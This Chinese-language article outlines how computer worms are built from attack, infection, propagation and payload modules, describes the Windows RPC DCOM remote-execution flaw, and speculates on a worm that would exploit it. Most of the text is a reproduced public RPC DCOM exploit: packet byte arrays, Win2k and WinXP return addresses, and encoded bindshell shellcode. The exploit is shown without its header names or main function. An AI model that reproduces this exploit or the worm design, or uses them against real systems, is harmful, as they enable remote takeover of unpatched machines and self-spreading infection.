最近好象几乎每一个大的漏洞公布出来，接着都会有一个针对这个漏洞的蠕虫(worm) 流行，最近闹得很凶的 RPC DCOM 漏洞估计也即将成为 worm 的新传播载体。好象写 worm 是一个热门，很多人也觉得好奇，觉得 worm 是很深的一种技术，其实这个是很简单的编程游戏而已。我一直有个想法就是想写一篇关于 worm 的技术分析(---为了不教坏小孩子:)，只是一直懒得提笔，本人对蠕虫的编写已经失去了兴趣，现在在新的 worm 风暴即将到来之前，我这里很简单分析一下蠕虫的相关技术，并对 RPC DCOM 蠕虫进行一些设想。大家当我是助“纣”为虐也好，故意卖弄也好，我觉得还是要写这篇文章，一年多没写过文章了，同时也了却了自己的一个心愿。你现在可以选择不继续往下看，但看完后不要对我吐口水。:)
一 什么叫蠕虫
首先从 spark 的 《Internet蠕虫的定义和历史》文章中摘抄欢喂赜趙orm的解释: 蠕虫这个生物学名词在1982年由Xerox PARC 的John F. Shoch等人最早引入计算机领域[30]，并给出了计算机蠕虫的两个最基本特征："可以从一台计算机移动到另一台计算机"和"可以自我复制"。他们编写蠕虫的目的是做分布式计算的模型试验，在他们的文章中，蠕虫的破坏性和不易控制已经初露端倪。1988年Morris蠕虫爆发后，Eugene H. Spafford 为了区分蠕虫和病毒，给出了蠕虫的技术角度的定义，"计算机蠕虫可以独立运行，并能把自身的一个包含所有功能的版本传播到另外的计算机上。" （worm is a program that can run by itself and can propagate a fully working version of itself to other machines. ）。
由于这里不是向大家介绍蠕虫的定义和历史就不多说了，大家如果对这些感兴趣，可以到这里读 spark 的文章http://www.nsfocus.net/index.php?act=magazine&;;do=view&mid=1851
二 蠕虫的组成部分
一个蠕虫的组成其实很简单，由于我不是在这里教你们写蠕虫，也由于时间限制，我这里只简单的说一些。
我们可以把它看做一个工程，我们把这个工程分成 4 个模块:
1. 攻击模块
首先得需要有一个大量系统受影响的能被简单利用的严重漏洞，以便能够远程控制机器。比如猜测薄弱口令啊，远程溢出啊等。
2. 感染模块
考虑怎么让对方被攻击后，执行你想要实现的功能，完成对一个主机的感染。对远程溢出来说也就是完善shellcode了。这中间得考虑一个感染传播(繁殖)途径的问题。
3. 传播模块
比如，扫描一个网段有相关弱点的机器，存成一个文件，然后对这些IP进行攻击，或者随机生成IP然后对这些IP进行攻击等。
简单的说就是扫描薄弱的机器。
4. 功能模块
功能模块其实是一个可要可不要的模块，但如果你想对方感染蠕虫后还在对方加上后门/DDoS等其他功能时，就必须得要有这个啦。
其实，一个蠕虫成功的关键是一个攻击模块和感染模块。:)
三 常见的蠕虫的传播(繁殖)途经
具体就不深入了, 只简单列举一下:
1. email
2. ftp
3. http
4. netbios
5. tftp
6. rcp
7. 其他
四 RPC DCOM 漏洞介绍
RPC DCOM 漏洞是最近出的一个Windows系统的严重漏洞，也是有史以来最严重影响最广泛的Windows漏洞。
Remote Procedure Call (RPC)是运用于Windows操作系统上的一种协议。RPC提供相互处理通信机制，允许运行该程序的计算机在一个远程系统上执行代码。RPC协议本身源于OSF (Open Software Foundation) RPC协议，后来又另外增加了一些Microsoft专用扩展功能。RPC中处理TCP/IP信息交换的模块由于错误的处理畸形信息，远程攻击者可利用此缺陷以本地系统权限在系统上执行任意指令。该缺陷影响使用RPC的DCOM接口，此接口处理由客户端机器发送给服务器的DCOM对象激活请求(如UNC路径)。攻击者成功利用此缺陷可以以本地系统权限执行任意指令。攻击者可以在系统上执行任意操作，如安装程序、查看或更改、删除数据或建立系统管理员权限的帐户。
这个漏洞影响如下Windows版本：
Microsoft Windows XP SP1a
Microsoft Windows XP SP1
Microsoft Windows XP
Microsoft Windows NT 4.0SP6a
Microsoft Windows NT 4.0SP6
Microsoft Windows NT 4.0SP5
Microsoft Windows NT 4.0SP4
Microsoft Windows NT 4.0SP3
Microsoft Windows NT 4.0SP2
Microsoft Windows NT 4.0SP1
Microsoft Windows NT 4.0
Microsoft Windows 2003
Microsoft Windows 2000SP4
Microsoft Windows 2000SP3
Microsoft Windows 2000SP2
Microsoft Windows 2000SP1
Microsoft Windows 2000
可以看到, 此漏洞影响除了WinME以下版本的Windows系统之外的所有其他Windows系统。同时，此漏洞能够被攻击者远程利用，
在没有修补该漏洞的机器上可以远程执行任意代码，导致攻击者能够完全控制有漏洞的机器。
五 RPC DCOM 蠕虫的设想
1. 由于RPC COM已经有攻击未打补丁的Win2000/WinXP的通用攻击代码发布出来，因此该漏洞更有可能被利用制作成为能够感染具有RPC DCOM漏洞的Win2000/WinXP机器的蠕虫。
如PacketStorm上公布的这个对Win2000和WinXP通用的Exploit:
/* Windows 2003 <= remote RPC DCOM exploit
* Coded by .:[oc192.us]:. Security
*
* Features:
*
* -d destination host to attack.
*
* -p for port selection as exploit works on ports other than 135(139,445,539 etc)
*
* -r for using a custom return address.
*
* -t to select target type (Offset) , this includes universal offsets for -
* win2k and winXP (Regardless of service pack)
*
* -l to select bindshell port on remote machine (Default: 666)
*
* - Shellcode has been modified to call ExitThread, rather than ExitProcess, thus
* preventing crash of RPC service on remote machine.
*
* This is provided as proof-of-concept code only for educational
* purposes and testing by authorized individuals with permission to
* do so.
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
/* xfocus start */
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};
unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};
unsigned char request3[]={
0x5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
/* end xfocus */
int type=0;
struct
{
char *os;
u_long ret;
}
targets[] =
{
{ "[Win2k-Universal]", 0x0018759F },
{ "[WinXP-Universal]", 0x0100139d },
}, v;
void usage(char *prog)
{
int i;
printf("RPC DCOM exploit coded by .:[oc192.us]:. Security\n");
printf("Usage:\n\n");
printf("%s -d [options]\n", prog);
printf("Options:\n");
printf(" -d: Hostname to attack [Required]\n");
printf(" -t: Type [Default: 0]\n");
printf(" -r: Return address [Default: Selected from target]\n");
printf(" -p: Attack port [Default: 135]\n");
printf(" -l: Bindshell port [Default: 666]\n\n");
printf("Types:\n");
for(i = 0; i < sizeof(targets)/sizeof(v); i++)
printf(" %d [0x%.8x]: %s\n", i, targets[i].ret, targets[i].os);
exit(0);
}
unsigned char sc[]=
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00\x46\x00\x58\x00"
"\xff\xff\xff\xff" /* return address */
"\xcc\xe0\xfd\x7f" /* primary thread data block */
"\xcc\xe0\xfd\x7f" /* primary thread data block */
/* bindshell no RPC crash, defineable spawn port */
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
"\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"
"\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"
"\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"
"\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"
"\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"
"\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"
"\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\xdd\x5a\x60\xdf\xda\x8a\x81"
"\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"
"\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"
"\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"
"\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"
"\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"
"\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"
"\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"
"\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"
"\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3"
"\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"
"\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"
"\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"
"\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"
"\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"
"\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"
"\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"
"\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"
"\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"
"\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"
"\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"
"\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"
"\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"
"\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"
"\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04";